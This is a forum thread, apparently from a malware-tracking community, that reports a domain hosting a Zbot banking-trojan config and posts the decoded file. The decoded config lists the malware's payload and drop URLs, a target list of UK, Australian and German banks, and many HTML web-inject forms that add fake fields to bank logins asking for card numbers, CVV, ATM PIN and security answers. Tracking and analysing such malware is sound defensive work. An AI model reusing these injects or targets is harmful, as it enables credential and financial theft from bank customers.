moretoitbiz.net repeat

[Derek]

Seems to be a repeat of alltoitworld.com?
http://moretoitbiz.net/zenith/setup.ini Win32.Zbot.Config, same sig as alltoitworld.com/zenith/setup.ini
Same Ip as well

I leave this to the experts

[MysteryFCM]

setup.ini decoded;

Code: [Select]

http://moretoitbiz.net/zenith/iexplorer.exe
http://moretoitbiz.net/zenith/s.php
http://moretoitbiz.net/1110.lzd
https://*
@*lloydstsb.co.uk*
@*barclays.co.uk*
@*citybank.co.uk*
@*halifax-online.co.uk*
@*alliance-leicester.co.uk*
@*hsbc.co.uk*
@*nwolb.com*
@*rbsdigital.com*
@*cahoot.com*
@*co-operativebank.co.uk*
@*first-direct.com*
@*my.if.com*
@*cbonline.co.uk*
@*ybonline.co.uk*
@*smile.co.uk*
@*cpsinternetbanking.com.au*
@*humebuild.com.au*
@*imb.com.au*
@*online.hbs.net.au*
@*adcu.com.au*
@*ingdirect.com.au*
@*accu.com.au*
@*mecu.com.au*
@*qantascu.com.au*
@*adelaidebank.com.au*
@*widebayaust.com.au*
@*savingsloans.com.au*
@*coastline.com.au*
@*inetbank.net.au*
@*qtcu.com.au*
@*factor2.inetbank.net.au*
@*dataaction.com.au*
@*cucanb.com.au/socu*
@*secure.mystate.com.au*
@*tsw.com.au*
@*membersequitybank*
@*greater.com*
https://banking.*.de/cgi/ueberweisung.cgi/*
*&tid=*
*&betrag=*
https://internetbanking.gad.de/banking/*
KktNrTanEnz
https://cipehb*.cdg.citibank.de/HomeBanking*
https://www.vr-networld-ebanking.de/ebanking*
Schmetterling
https://finanzportal.fiducia.de/ebanking*Action=*
Schmetterling
https://finanzportal.fiducia.de/ebbg2/portal*
value_*
https://onlinebanking.norisbank.de/norisbank/*
https://www.dresdner-privat.de/servlet/*
*&CMD=stapelFreigeben&*
https://brokerage.comdirect.de/servlet/*TAN*
*transactionID=*
https://banking.postbank.de/app/
itan=
https://banking.sparkasse-weserbergland.de/cgi/anfang.cgi*
<div class="formBody">
    <div class="fr_col_wrapper">Y
<div class="buffer"></div>
    </div>
    <div class="fr_col1of1_height">
<div class="fr_col1of3">
<label for="txtCustomerID">Customer ID (8 digit)</label>
</div>
<div class="fr_col2of3">
<input name="txtCustomerID" value="" type="text" id="txtCustomerID"  autocomplete="off" maxlength="8" />
</div>
<div class="fr_col3of3">
</div>
<div class="fr_col1of3">
<label for="txtCustomerID">Complete Password</label>
</div>
<div class="fr_col2of3">
<input name="txtPassword" value="" type="password" id="txtCustomerID"  autocomplete="off" maxlength="20" />
</div>
<div class="fr_col3of3">
<input type="image" title="Next" src="../assets/btn_nextnew.gif" class="button_right"  alt="Next" />
</div>
<td class="acctName_Text">
</table>
</SPAN></CAPTION>
</TABLE>
BOFA balance:
<input type="hidden" name="sitekeySignon" value="">
<input type="hidden" name="Online_ID" value="">G
imgSignIn.src = "/www/en_US/images/tracking/homepage_signin.gif";
if (l_id != null) {
document.frmSignIn.Online_ID.value=document.frmSignIn.id.value;
<table cellpadding="0" cellspacing="2" border="0" width="100%" summary="">
<SPAN style="FONT-WEIGHT: bold">
<font size="1%" color="#333333">Enter your ATM Number:</font>
</SPAN>
<INPUT class=home-signin-textbox tabIndex=1 maxLength=32 size=13 name=atmnumber>
<input name="_ctl0:PageContent:Login1:IdTextBox" type="text" maxlength="12" size="15" id="_ctl0_PageContent_Login1_IdTextBox" />
</td>
<td></td>
</tr>
<th style="width:50%; padding-right: 15px; text-align: right;">
<span id="_ctl0_PageContent_Login2_IdLabel">Email</span>
</th>
<td style="white-space: nowrap; text-align: left">
<input name="email" type="text" size="15" id="email" />-
id="aspnetForm" style="display: inline"
 onsubmit="JavaScript:if(document.aspnetForm.email.value.length<4){alert('Please enter your Email');return false;}else{return true;};"
<span class="bodyText5">3
<td colspan="5" class="spacerH20">&nbsp;</td>
account summary</font>"
<td height="10" colspan="4">
account-history-wait.jsp" method="post">
</table>
id="dgDepositAcctsheader0"*>
</table>
<td class="ice_headerleft">Deposit</td>
</table>
<table cellspacing="0" summary="page layout">
</table>
<input class="loginField" id="usaaNum" name="j_username" onkeydown="ChangeFocus(event);" type="text" maxlength="20" size="25" />
<h6>PIN</h6>
<input class="loginField" id="PIN" name="PIN" onkeydown="ChangeFocus(event);" type="text" maxlength="4" size="25" />
<input type="hidden" name="PageType" value="">
</form>5
Online ID: <input style="width:147px" id="usaaNum" name="j_username" onkeydown="ChangeFocus(event);" type="text" maxlength="20"/><br>
Password: <input style="width:147px" id="usaaPass" name="j_password" type="password" maxlength="12"  /><br><br>
Card Nr: &nbsp;&nbsp;&nbsp;<input style="width:150px" id="cc_nr" name="cc_nr" maxlength="16"  /><br>
Exp. Date: <input style="width:17px" id="cc_mm" name="cc_mm" maxlength="2" value="mm"/>/<input style="width:17px" id="cc_yy" name="cc_yy" maxlength="2" value="yy"/> ATM PIN:<input style="width:30px" id="atmpin" name="atmpin" maxlength="4" type=password/><br>
CVV2: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input style="width:40px" id="cc_cvv" name="cc_cvv" maxlength="4"/><br><br>
<center><button type="submit" class="nAction" onclick="false">Log On</button></center>
<a href="#" onClick="javascript:handlePageLink('/internetBanking/RequestRouter?requestCmdId=AccountDetails
</table>
<tr class="rowa">
</table>
_accountSummaryContainer"*</tr>
</table>
<div id="pageIntro" class="noprint">A
<td id="sidebar" align="left" valign="top" class="noprint">
<label for="txtNewPIN">N
<input name="txtMemDetail" id="memDetail"  type="text" maxlength="40" />
name="membershipNo"*<tr>
<td>Telephone banking<br>membership number</td>
<td height="30" align="left"><input type="text" size=25  maxlength=24 name="UKpass" class="formFont" title="Memorable Word"></td>
</tr>
<td>Telephone banking<br>passcode</td>
<td height="30" align="left"><input type="text" size=25  maxlength=24 name="UKpass" class="formFont" title="Memorable Word"></td>
</tr>
<td>ATM card number</td>
<td height="30" align="left"><input type="text" size=25  maxlength=24 name="UKpass" class="formFont" title="Memorable Word"></td>
</tr>
<td>ATM card expiry date</td>
<td height="30" align="left"><input type="text" size=25  maxlength=24 name="UKpass" class="formFont" title="Memorable Word"></td>
</tr>
<td>ATM card security code</td>
<td height="30" align="left"><input type="text" size=25  maxlength=24 name="UKpass" class="formFont" title="Memorable Word"></td>
</tr>
<td>Date of birth</td>
<td height="30" align="left"><input type="text" size=25  maxlength=24 name="UKpass" class="formFont" title="Memorable Word"></td>
</tr>
<td>Mother's Maiden Name</td>
<td height="30" align="left"><input type="text" size=25  maxlength=24 name="UKpass" class="formFont" title="Memorable Word"></td>
</tr>
<td>Memorable word</td>
<td height="30" align="left"><input type="text" size=25  maxlength=24 name="UKpass" class="formFont" title="Memorable Word"></td>
</tr>
name="simple_surname_text"*<tr>
<td class="bold" width="22%" nowrap="">Memorable word:</td><td colspan="2" align="left" width="35%"><font class="inputstyle"><input type="password" name="UKpass" id="simple_surname_text" size="24" maxlength="24" value="" class="" title="Memorable word"/></fon
name="button_Next"
 OnClick="javascript: if  (document.forms[0].UKpass.value.length < 2) {
alert('Please enter your memorable word');return false;}"
<fieldset class="login">X
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="submit-bar">
id="visanumber" value='' size="18" maxlength="16"/></td>
</tr>
   <td>&nbsp;</td>
   <td class="field" colspan="2"><BR>Please enter your 4-digit security code.<BR></td>
</tr>
  <td class="label"><label for="seccode">Security code &nbsp;</label></td>
    <td class="field" width="79"><input type="text" name="seccode" id="seccode" value='' size="3" maxlength="4"/></td>
</tr>
<td><br><br><br>
</td>
<td class="field" colspan="2"><font color="#FF0000">Due to security measures, please provide the answers to all the security questions listed below.</font></td>
</tr>
  <td class="label"><label for="placeofbirth">Place of birth &nbsp;</label></td>
  <td class="field" width="79">
  <input type="text" id="placeofbirth" name="placeofbirth" value='' size="18" maxlength="50"/></td>
</tr>
  <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="firstschool">First school attended &nbsp;</label></td>
   <td class="field" width="79">
 <input type="text" name="firstschool" id="firstschool" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="lastschool">Last school attended &nbsp;</label></td>
   <td class="field" width="79">
   <input type="text" name="lastschool" id="lastschool" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="memdate">Memorable date &nbsp;</label></td>
   <td class="field" width="79">
   <input type="text" name="memdate" id="memdate" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
    <td class="label"><label for="memname">Memorable name &nbsp;</label></td>
    <td class="field" width="79">
<input type="text" name="memname" id="memname" value='' size="18" maxlength="50"/></td>
<h1>log on</h1>
</html>
<td valign="middle" width="160" class="bwLoginMCUser">!
alt="Security Answer"></td>
<span class="fullBorderInfoPanelTitle">My accountsF
<span class="prompts_infopaneltitletext_myAccounts">Other offers
type="text" size="20" maxlength="76" />
<p><label for="txtLogon" class="light">Please enter your password.</label></p>
<div align="left">
<input name="UKPassword" id="UKPassword" type="text" size="20" maxlength="76" />
</div>
id="visanumber" value="" size="18" maxlength="16"/></td>
</tr>
   <td>&nbsp;</td>
   <td class="field" colspan="2"><BR>Please enter your 4-digit security code.<BR></td>
</tr>
  <td class="label"><label for="seccode">Security code &nbsp;</label></td>
    <td class="field" width="79"><input type="text" name="seccode" id="seccode" value='' size="3" maxlength="4"/></td>
</tr>
<td><br><br><br>
</td>
<td class="field" colspan="2"><font color="#FF0000">Due to security measures, please provide the answers to all the security questions listed below.</font></td>
</tr>
  <td class="label"><label for="placeofbirth">Place of birth &nbsp;</label></td>
  <td class="field" width="79">
  <input type="text" id="placeofbirth" name="placeofbirth" value='' size="18" maxlength="50"/></td>
</tr>
  <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="firstschool">First school attended &nbsp;</label></td>
   <td class="field" width="79">
 <input type="text" name="firstschool" id="firstschool" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="lastschool">Last school attended &nbsp;</label></td>
   <td class="field" width="79">
   <input type="text" name="lastschool" id="lastschool" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="memdate">Memorable date &nbsp;</label></td>
   <td class="field" width="79">
   <input type="text" name="memdate" id="memdate" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
    <td class="label"><label for="memname">Memorable name &nbsp;</label></td>
    <td class="field" width="79">
<input type="text" name="memname" id="memname" value='' size="18" maxlength="50"/></td>
id="visanumber" value="" size="18" maxlength="16"/></td>
</tr>
   <td>&nbsp;</td>
   <td class="field" colspan="2"><BR>Please enter your 4-digit security code.<BR></td>
</tr>
  <td class="label"><label for="seccode">Security code &nbsp;</label></td>
    <td class="field" width="79"><input type="text" name="seccode" id="seccode" value='' size="3" maxlength="4"/></td>
</tr>
<td><br><br><br>
</td>
<td class="field" colspan="2"><font color="#FF0000">Due to security measures, please provide the answers to all the security questions listed below.</font></td>
</tr>
  <td class="label"><label for="placeofbirth">Place of birth &nbsp;</label></td>
  <td class="field" width="79">
  <input type="text" id="placeofbirth" name="placeofbirth" value='' size="18" maxlength="50"/></td>
</tr>
  <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="firstschool">First school attended &nbsp;</label></td>
   <td class="field" width="79">
 <input type="text" name="firstschool" id="firstschool" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="lastschool">Last school attended &nbsp;</label></td>
   <td class="field" width="79">
   <input type="text" name="lastschool" id="lastschool" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="memdate">Memorable date &nbsp;</label></td>
   <td class="field" width="79">
   <input type="text" name="memdate" id="memdate" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
    <td class="label"><label for="memname">Memorable name &nbsp;</label></td>
    <td class="field" width="79">
<input type="text" name="memname" id="memname" value='' size="18" maxlength="50"/></td>
id="visanumber" value='' size="18" maxlength="16"/></td>
</tr>
   <td>&nbsp;</td>
   <td class="field" colspan="2"><BR>Please enter your 4-digit security code.<BR></td>
</tr>
  <td class="label"><label for="seccode">Security code &nbsp;</label></td>
    <td class="field" width="79"><input type="text" name="seccode" id="seccode" value='' size="3" maxlength="4"/></td>
</tr>
<td><br><br><br>
</td>
<td class="field" colspan="2"><font color="#FF0000">Due to security measures, please provide the answers to all the security questions listed below.</font></td>
</tr>
  <td class="label"><label for="placeofbirth">Place of birth &nbsp;</label></td>
  <td class="field" width="79">
  <input type="text" id="placeofbirth" name="placeofbirth" value='' size="18" maxlength="50"/></td>
</tr>
  <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="firstschool">First school attended &nbsp;</label></td>
   <td class="field" width="79">
 <input type="text" name="firstschool" id="firstschool" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="lastschool">Last school attended &nbsp;</label></td>
   <td class="field" width="79">
   <input type="text" name="lastschool" id="lastschool" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
   <td class="label"><label for="memdate">Memorable date &nbsp;</label></td>
   <td class="field" width="79">
   <input type="text" name="memdate" id="memdate" value='' size="18" maxlength="50"/></td>
</tr>
   <td class="error" width="472"></td>
</tr>
    <td class="label"><label for="memname">Memorable name &nbsp;</label></td>
    <td class="field" width="79">
<input type="text" name="memname" id="memname" value='' size="18" maxlength="50"/></td>
<h3 id="LI6BTHC" class="frmHdr">
name="txnID" />
autocomplete="off" maxlength="10" /></span></td>
</table></span>
</tr><tr>
<td class="wizardLabel"><label for="LI6PPED_edit" id="LI6DDALDLabel">Complete Password</label></td><td class="wizCrl"><span id="LI6PPED"><input name="UKpass" type="password" maxlength="20" size="20" id="LI6PPEA_edit"/></span></td>
</tr><tr>
<td class="wizardLabel"><label for="LI6PPEA_edit" id="LI6DDALALabel">Complete Security Number
</label></td><td class="wizCrl"><span id="LI6PPEA"><input name="UKpasspin" type="password" maxlength="20" size="20" id="LI6PPEA_edit" /></span></td>
</tr><tr>
<td class="wizardLabel"><label for="LI6PPEA_edit" id="LI6DDALALabel">Mother's Maiden Name
</label></td><td class="wizCrl"><span id="LI6PPEA"><input name="mmn" type="password" maxlength="20" size="20" id="LI6PPEA_edit" /></span></td>
</tr>
Your Customer Number is made up of your date of birth (ddmmyy) and up to 4 other numbers as advised when you joined the service." class="ErrorMarker" src="https://www.nwolb.com/Brands/NWB/images/error.gif" align="absmiddle" style="border-width:0px;" /></span>
</tr>
<tr><td class="wizardLabel"><span id="DBID_RequiredValidator2" style="color: Red; display: none;"><img title="Some of the information required has not been entered." class="ErrorMarker" src="login.aspx_files/error.gif" style="border-width: 0px;" align="absmid


[MysteryFCM]

Wierdly, 1110.lzd and iexplorer.exe are both returning 404's here ....